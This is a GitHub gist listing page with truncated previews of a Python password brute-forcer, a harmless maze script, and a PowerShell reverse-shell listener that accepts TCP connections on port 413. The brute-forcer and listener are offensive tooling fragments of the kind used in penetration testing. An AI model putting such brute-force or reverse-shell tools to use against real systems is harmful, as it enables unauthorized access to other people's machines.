Skip to content

Instantly share code, notes, and snippets.

@4d4c
4d4c / thread_brute.py
Created Nov 22, 2020
ThreadPool Brute
View thread_brute.py
#!/usr/bin/env python3
import subprocess
import traceback
from concurrent.futures import ThreadPoolExecutor
from tqdm import tqdm
def passwords(wordlist: str) -> list:
View maze.py
import copy
import os
import time
MAZE = [
["#", "#", "#", "#", "#"],
[" ", " ", " ", "#", " "],
[" ", "#", " ", "#", " "],
[" ", " ", " ", " ", " "],
["E", "#", "#", "#", "#"],
@4d4c
4d4c / mini-reverse-listener.ps1
Last active Dec 26, 2019 — forked from staaldraad/mini-reverse-listener.ps1
A reverse shell listener in powershell
View mini-reverse-listener.ps1
$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413);
if($socket -eq $null){
exit 1
}
$socket.start()
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"
$stream = $client.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 2048;